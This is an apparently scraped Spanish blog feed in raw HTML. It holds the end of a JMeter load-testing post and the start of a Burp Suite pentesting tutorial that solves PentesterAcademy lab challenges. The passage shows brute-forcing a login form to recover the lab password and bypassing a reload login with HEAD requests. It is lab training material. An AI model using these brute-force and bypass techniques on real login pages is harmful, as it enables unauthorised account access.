&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqIEMViAm_MMrjnkxVTlX0c6_Ku-iIaWUQkRypgpKT4DukyQvJTw2p2d9_bVgJRlGUDf830EqbXA67QC5lzmT6QVGxZLmd9Io_yZXVGtotQjP11fmxfV52gNn3Np9-mrzG9fvii4bQuAc/s1600/http-request.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;246&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqIEMViAm_MMrjnkxVTlX0c6_Ku-iIaWUQkRypgpKT4DukyQvJTw2p2d9_bVgJRlGUDf830EqbXA67QC5lzmT6QVGxZLmd9Io_yZXVGtotQjP11fmxfV52gNn3Np9-mrzG9fvii4bQuAc/s640/http-request.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
En este elementos llenamos los datos del servidor solicitados para la prueba.&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
3. Agregamos el elemento&amp;nbsp;&lt;b&gt;HTTP Request Sampler&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Clic derecho en&amp;nbsp;&lt;b&gt;&lt;b&gt;Thread Group&lt;/b&gt;&amp;nbsp;&amp;gt;Add&amp;gt;Sampler &amp;gt;HTTP Request&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Debemos tener en cuenta que no es necesario especificar los datos del servidor en este elemento debido a que ya se ha especificado en el elemento de &lt;b&gt;HTTP Request Defaults&lt;/b&gt;.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Nota:&lt;/b&gt; Si desea agregar más solicitudes HTTP como parte de la prueba, se debe repetir este paso. Cada Thread llevará a cabo todas las peticiones en este plan de pruebas.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
3. Agregamos el elemento &lt;b&gt;View Results in Table Listener&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Clic derecho en&amp;nbsp;&lt;b&gt;&lt;b&gt;Thread Group&lt;/b&gt;&amp;nbsp;&amp;gt;Add&amp;gt;Listener&amp;gt;View Results in Table&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Con este elemento podemos visualizar la interacción de &lt;b&gt;Jmeter &lt;/b&gt;hacia nuestro aplicativo ejerciendo la prueba una vez ejecutada la prueba.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjU0RzD_DGEtA36M6YhxzrRPNeLWaqe8BlCFo1TXF_r6m3X3dykDAvWcFEk1fiVCm8Hve9ilcqpKuZwgAsouAtVUnV47zdWqUc7TlbIjS6Iv5QvmfcVT8SHikDkcYOBS4R5OtJA_fIMxl4/s1600/result.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;181&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjU0RzD_DGEtA36M6YhxzrRPNeLWaqe8BlCFo1TXF_r6m3X3dykDAvWcFEk1fiVCm8Hve9ilcqpKuZwgAsouAtVUnV47zdWqUc7TlbIjS6Iv5QvmfcVT8SHikDkcYOBS4R5OtJA_fIMxl4/s640/result.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
la tabla refleja la iteracion del &lt;b&gt;HTTP Request.&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
de esta manera podemos realizar simulaciones de estres y podemos ir forzando y ejerciendo mas iteraciones a medida que veamos el comportamiento del&amp;nbsp;&lt;span style=&quot;text-align: justify;&quot;&gt;sistema de información&lt;/span&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Proceso de optimización&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Como cualquier tema en auditoria despues de realizar estas pruebas, el sysadmin debe pasar a un proceso de optimizacion para solucionar los fallos encontrados en el sistema. el proceso difiere de acuerdo al sistema de informacion por ejemplo si el sistema se trata de un servidor de base de datos se debe ejercer una optimizacion a su configuración por ejemplo, caché de consultas, contemplar mayor recursos, analizar velocidad de escritura en disco, caché de objetos para evitar lecturas desde base de datos (memcached, APC, etc). Utilización de sistemas de caché estático (nginx como proxy inverso, Varnish, etc).&lt;br /&gt;
Si se trata de un servidor web: realizar un hardening al servidor web, denegar las multiples peticiones, Mantener una bitacora firewall (Para muchos algo de poca relevancia - pero es de lo mas importante para un sysadmin), ejercer el uso IPS e IDS,&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/5348574273831054944/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://antoniojorz.blogspot.com/2015/05/prueba-de-carga-y-estres-jmeter.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/5348574273831054944'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/5348574273831054944'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/2015/05/prueba-de-carga-y-estres-jmeter.html' title='Prueba de carga y estrés con Jmeter'/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzaFjLKpk-mcIH5LKyQWGLNTMZDVvkX2CR-eIbcXPYhoYK_hRQ7dh4w5eY2NvqWphJV8DmBRpBJGknJ4g8eFP2-7YOwU-h2Kxh9A_5vsHyXxybSvrMzq1v3ovV4Oc1vk_FPRhC0CDmIAY/s72-c/37+(1).jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4993754786350617036.post-7982209650071561428</id><published>2015-04-24T09:48:00.000-05:00</published><updated>2015-04-24T09:48:06.305-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="auditoria web"/><category scheme="http://www.blogger.com/atom/ns#" term="burp suite"/><category scheme="http://www.blogger.com/atom/ns#" term="ethical hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="pentesting"/><category scheme="http://www.blogger.com/atom/ns#" term="web hacking"/><title type='text'>Pentesting Aplicaciones Web (Burp suite)</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2gnKrbPobpEDdyZjNm_r-E6zh3Y0qvoAo_MrkGRp2DUJT8aZZF7m9-IzwQAvhyphenhyphenem_j52UpSmi1cism4YMnzvJc_oYOpFEtS0z5BnQBdAQTzcdpO5xsaQnyT6XzJsE3p5vnePBI39_IcI/s1600/logo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2gnKrbPobpEDdyZjNm_r-E6zh3Y0qvoAo_MrkGRp2DUJT8aZZF7m9-IzwQAvhyphenhyphenem_j52UpSmi1cism4YMnzvJc_oYOpFEtS0z5BnQBdAQTzcdpO5xsaQnyT6XzJsE3p5vnePBI39_IcI/s1600/logo.png&quot; height=&quot;258&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Burp Suite es una herramienta mas que conocida por los pentester, en estos dias estaba haciendo uso de ellas en auditoria de aplicaciones web y recordé que no había realizado un post de esta increíble herramienta. la cual para mi gusto es mas que buena y me ahorra tiempo a la hora de realizar &lt;b&gt;Script. &lt;/b&gt;claro esta en la versión &lt;b&gt;Pro.&lt;/b&gt;&amp;nbsp;ya que la versión &lt;b&gt;free&lt;/b&gt;&amp;nbsp;es limitada sobre todo en la velocidad de procesar los ataques.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;Burp Suite &lt;/b&gt;es una aplicación desarrollada en java la cual podemos encontrar en versiones gratis y de paga. es una herramienta desarrollada explicitamente para pruebas de seguridad en aplicaciones web.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Los componentes de &lt;b&gt;Burp Suite &lt;/b&gt;mas destacados son&lt;b&gt;:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Proxy: &lt;/b&gt;Actua como un proxy&amp;nbsp;haciendo como un &lt;b&gt;man in the middle&lt;/b&gt;, lo que le permite interceptar las peticiones al navegador, y asi inspeccionar y modificar el tráfico entre el navegador y la aplicación de destino.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Spider:&lt;/b&gt; con reconocimiento de aplicaciones, para el rastreo de contenido y funcionalidad.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Scáner:&lt;/b&gt;&amp;nbsp;Disponible en la versión de paga, escanea el sitio en busca de vulnerabilidades.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Intuder Tool: &lt;/b&gt;Con este componente podemos realizar ataques personalizados y automatizados para explotar vulnerabilidades.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Repeater:&amp;nbsp;&lt;/b&gt;El repetidor es una herramienta sencilla la cual se puede utilizar para modificar las solicitudes al servidor y volver a enviar.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Vamos a poner a prueba esta herramienta con los 4 desafíos gratuitos de pentesting-academy&lt;br /&gt;
&lt;br /&gt;
&lt;h4 class=&quot;media-heading&quot; style=&quot;background-color: white; font-family: &#39;Open Sans&#39;, Arial, serif; font-size: 17.5px; line-height: 20px; margin: 0px 0px 5px; text-align: start; text-rendering: optimizeLegibility;&quot;&gt;
Challenge 1: Form Bruteforcing Solutions&lt;/h4&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
En el primer reto del &lt;b&gt;Web-Lab&lt;/b&gt;&amp;nbsp;nos encontramos con un login, en el cual nos dan pista para el ataque nos dicen que:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;El dominio es: &lt;b&gt;PentesterAcademy.com&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Los usuarios posibles son: &lt;b&gt;jack, admin&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Y de que la posible contraseña es de 5 caracteres y solo contiene las letras x,y,z en minúscula&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
Bueno ya teniendo esta información nos vamos a &lt;b&gt;Burp Suite&lt;/b&gt;, en mi caso estoy realizando las pruebas en &lt;b&gt;Kali Linux, &lt;/b&gt;El cual ya trae integrada la herramienta en su versión gratuita.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
En la pestaña &lt;b&gt;Proxy&lt;/b&gt;&amp;nbsp;de &lt;b&gt;Burp Suite&lt;/b&gt;&amp;nbsp;podemos observar que trabaja en localhost (127.0.0.1) a través del puerto 8080. estos datos los configuramos en nuestro navegador.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpbp4i6XzeRCGyOyrUTvKBFaWU6llB9C52hZsvhC-WrrhAuOrw97Ng0cTSYfwl_8j2Jm-rulHhM41V0cVsn5z5jDyY7gHDI0vIXSD5QV6mtuaV-tdNM1WlrpxdWhEZwo8Qe3Xb2VRv_tk/s1600/proxy-burp.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpbp4i6XzeRCGyOyrUTvKBFaWU6llB9C52hZsvhC-WrrhAuOrw97Ng0cTSYfwl_8j2Jm-rulHhM41V0cVsn5z5jDyY7gHDI0vIXSD5QV6mtuaV-tdNM1WlrpxdWhEZwo8Qe3Xb2VRv_tk/s1600/proxy-burp.png&quot; height=&quot;233&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSs1aZCH5fGCnsDxDkx03tM0KQs_2AvjQor-YhFdQTNg7vgqkLlsImAxaht8VvqnX5sGkeanTf954eGlkccbyYOOLzBpEG-sJUqOlrxZA0CT4qYtM4fIB9Gncp965SipCAQ89l_vXYzfI/s1600/proxy-browser.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSs1aZCH5fGCnsDxDkx03tM0KQs_2AvjQor-YhFdQTNg7vgqkLlsImAxaht8VvqnX5sGkeanTf954eGlkccbyYOOLzBpEG-sJUqOlrxZA0CT4qYtM4fIB9Gncp965SipCAQ89l_vXYzfI/s1600/proxy-browser.png&quot; height=&quot;640&quot; width=&quot;523&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Una vez ya configurado podemos captar la comunicación de nuestro navegador. &lt;b&gt;Burp suite &lt;/b&gt;intercepta antes de enviar los datos entre el navegador y la aplicación web. ya interceptada puedes validar datos, modificar o simplemente hacer clic en &lt;b&gt;Forward. &lt;/b&gt;para que &lt;b&gt;Burp Suite &lt;/b&gt;permita seguir la comunicación.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para el primer laboratorio digitare en el login un nombre de usuario de los que nos dan que seria &lt;b&gt;admin@PentesterAcademy.com &lt;/b&gt;y contraseña cualquier cosa solo como prueba.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Una vez interceptada la comunicación esta la podemos observar en la pestaña &lt;b&gt;intercept&amp;nbsp;&lt;/b&gt;de &lt;b&gt;burp suite.&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZn-4M1mczfmvdzfex1T-w_i0iWAxdYFzbkL5bOSlapbcPKzzmkndWOzodLHuImtWQL5_SblmmYTNBWJPY7TZ7-1ixIYsDBUveVQWVN4_92ZbZRtBvrJHK_nBMEWeiZXn0C36d16A0Hoc/s1600/intercept.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZn-4M1mczfmvdzfex1T-w_i0iWAxdYFzbkL5bOSlapbcPKzzmkndWOzodLHuImtWQL5_SblmmYTNBWJPY7TZ7-1ixIYsDBUveVQWVN4_92ZbZRtBvrJHK_nBMEWeiZXn0C36d16A0Hoc/s1600/intercept.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Como ven en la imagen la petición se hace a través del método &lt;b&gt;GET&lt;/b&gt;&amp;nbsp;y muestra en texto plano lo enviado. esta información la envió al componente &lt;b&gt;intruder.&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
En este componente nos encontraremos las siguientes pestañas:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;Target: &lt;/b&gt;Nos muestra información del objetivo y nos permite modificar dominio y puerto&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;Positions: &lt;/b&gt;Nos permite configurar las variables ha tener en cuenta en el &lt;b&gt;Payloads.&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;Payloads:&lt;/b&gt;&amp;nbsp;Nos permite configurar la transmisión de los datos a proporcionar a la aplicación.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;Option: &lt;/b&gt;Permite realizar&amp;nbsp;ajustes que controlan si&amp;nbsp;&lt;b&gt;intruder&lt;/b&gt; actualiza los encabezados de solicitud configurados durante los ataques.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Nos vamos a la pestaña &lt;b&gt;Positions.&lt;/b&gt;&amp;nbsp;selecciono el valor del campo &lt;b&gt;password &lt;/b&gt;y hago clic en el botón &lt;b&gt;add$ &lt;/b&gt;esto con el propósito que solo cambien los valores de la contraseña ya que conocemos el usuario. y el tipo de ataque seleccionamos &lt;b&gt;sniper.&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrP4JfDDYl100Hz1tNW6xNJ5OtO6KZx3oEKWQT92ghyphenhyphenljn7fvNTY_Vbt1kcVVXF75DrIDbS2U5r-OyEN4iW14Dc5dSqTmPWX37a2GUwMrgml3tt0hf_d_QVCy2Fm3GbDSIZC68zG-VQqM/s1600/positions.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrP4JfDDYl100Hz1tNW6xNJ5OtO6KZx3oEKWQT92ghyphenhyphenljn7fvNTY_Vbt1kcVVXF75DrIDbS2U5r-OyEN4iW14Dc5dSqTmPWX37a2GUwMrgml3tt0hf_d_QVCy2Fm3GbDSIZC68zG-VQqM/s1600/positions.png&quot; height=&quot;160&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Ahora en &lt;b&gt;Payload.&lt;/b&gt;&amp;nbsp;configuremos nuestros datos a enviar.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5F7XuLy7vSAT7NToro-oTRgY1dJ7-p5dkl-WI_E4LdnEbDaZsuYizfk3gi-wrRGUw8_uuS_-FVaVU1CEIR1GIkDRsMjH9hZOkgBfOawXzOvLLwHkqkqUQasLEgoHGa4MT7wfJhoQtJgk/s1600/payload.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5F7XuLy7vSAT7NToro-oTRgY1dJ7-p5dkl-WI_E4LdnEbDaZsuYizfk3gi-wrRGUw8_uuS_-FVaVU1CEIR1GIkDRsMjH9hZOkgBfOawXzOvLLwHkqkqUQasLEgoHGa4MT7wfJhoQtJgk/s1600/payload.png&quot; height=&quot;380&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
En &lt;b&gt;Payload Type &lt;/b&gt;seleccionamos &lt;b&gt;Bruter Forcer&lt;/b&gt;&amp;nbsp;ya que lo que vamos a realizar para este caso es un ataque de fuerza bruta. introducimos nuestros tres caracteres a permutar (x,y,z) con un mínimo y máximo de 5 caracteres. una vez configurado nos vamos al menú &lt;b&gt;intruder --&amp;gt;&amp;nbsp;Start Attack.&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0nBYBoTao11wnk0yQvEQkKC6nOZpeHwx11E7cbU_Pj5GFKinT9hUUsnhSWBLTksVg5HMex_acvrNuJm7Rkm40jhTMT2v9WLnAvD79JAXL2Dk0Ly-NoQnugCytR-zTsBNNbrxQQyVFH6w/s1600/start-attack.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0nBYBoTao11wnk0yQvEQkKC6nOZpeHwx11E7cbU_Pj5GFKinT9hUUsnhSWBLTksVg5HMex_acvrNuJm7Rkm40jhTMT2v9WLnAvD79JAXL2Dk0Ly-NoQnugCytR-zTsBNNbrxQQyVFH6w/s1600/start-attack.png&quot; height=&quot;326&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Una vez comienza el ataque probara las &lt;b&gt;243 &lt;/b&gt;permutaciones posibles de nuestros caracteres. en este caso todas los estados seran de &lt;b&gt;200&lt;/b&gt;&amp;nbsp;asi que nos guiaremos por la &lt;b&gt;longitud (length).&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5BRVbSG3ZbTatmM7ZiWyw7SI3HQnawAK_mVf7QX-mejvJIOpldSpanqMSKyS-PmH1sZHIRLv9Tpb1Duz6I3HG_Wta6CwV8PedSiqP2l9wrxTWwunTKXjFVQUJgYFFl8yPcFGRSNKpGWg/s1600/exito.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5BRVbSG3ZbTatmM7ZiWyw7SI3HQnawAK_mVf7QX-mejvJIOpldSpanqMSKyS-PmH1sZHIRLv9Tpb1Duz6I3HG_Wta6CwV8PedSiqP2l9wrxTWwunTKXjFVQUJgYFFl8yPcFGRSNKpGWg/s1600/exito.png&quot; height=&quot;330&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
como ven el &lt;b&gt;length &lt;/b&gt;de esta varia hacemos doble clic y en &lt;b&gt;response&lt;/b&gt;--&amp;gt;&lt;b&gt;render &lt;/b&gt;nos muestra que hemos entrado con exito con las credenciales:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;username: admin@PentesterAcademy.com&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;password: zzzxy&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;h4 class=&quot;media-heading&quot; style=&quot;background-color: white; font-family: &#39;Open Sans&#39;, Arial, serif; font-size: 17.5px; line-height: 20px; margin: 0px 0px 5px; text-align: start; text-rendering: optimizeLegibility;&quot;&gt;
Challenge 2: HTTP Form Attacks Reloaded&amp;nbsp;&amp;nbsp;&lt;img src=&quot;http://www.pentesteracademy.com/getstats?videoid=155&quot; style=&quot;border: 0px; height: auto; max-width: 100%; vertical-align: middle;&quot; width=&quot;25&quot; /&gt;&lt;/h4&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
En el segundo desafió tenemos que pasar por alto dos tipos de autenticacion uno va por &lt;b&gt;GET&lt;/b&gt; y el otro es &lt;b&gt;HTTP&amp;nbsp;Basic Authentication.&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Al igual que el anterior nos dan pista, el mismo domino que el anterior, los usarios son &lt;b&gt;admin &lt;/b&gt;y &lt;b&gt;nick, &lt;/b&gt;la complejidad de la contraseña es de 5 caracteres en los cuales solo incluye &lt;b&gt;a,s,d.&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div&gt;
&lt;b&gt;Usernames: nick, admin&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Si caemos en el error y empezamos el ataque con fuerza bruta configurando todo los parámetros como lo hicimos anteriormente notaremos, que el metodo &lt;b&gt;GET &lt;/b&gt;no funcionara por la recarga y validación del formulario&amp;nbsp;&lt;b&gt;HTTP&amp;nbsp;Basic Authentication.&lt;/b&gt;&amp;nbsp;y no podemos usar el metodo &lt;b&gt;POST&lt;/b&gt;&amp;nbsp;el cual usa el segundo método de autenticación. ya que el primero no lo permitira. asi que optamos por usar el metodo de cabecera &lt;b&gt;HEAD. &lt;/b&gt;y asi realizar un &lt;b&gt;Bypass &lt;/b&gt;al reload login.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidXmHg2GkARuiq0hx0Dn9y4HAnaxxTM7MTHKTTKBAKGwKb8WdguYDg1M0saYR808AU01mqTwfODq5YekHSwiu47HXw9a17FDBsyuxsMkagSOUpQELCVPuT6nyiSHHfzmmQdWNpPJx-PDU/s1600/head.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidXmHg2GkARuiq0hx0Dn9y4HAnaxxTM7MTHKTTKBAKGwKb8WdguYDg1M0saYR808AU01mqTwfODq5YekHSwiu47HXw9a17FDBsyuxsMkagSOUpQELCVPuT6nyiSHHfzmmQdWNpPJx-PDU/s1600/head.png&quot; height=&quot;238&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Y podemos ver la contraseña fluir con la URL de éxito.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
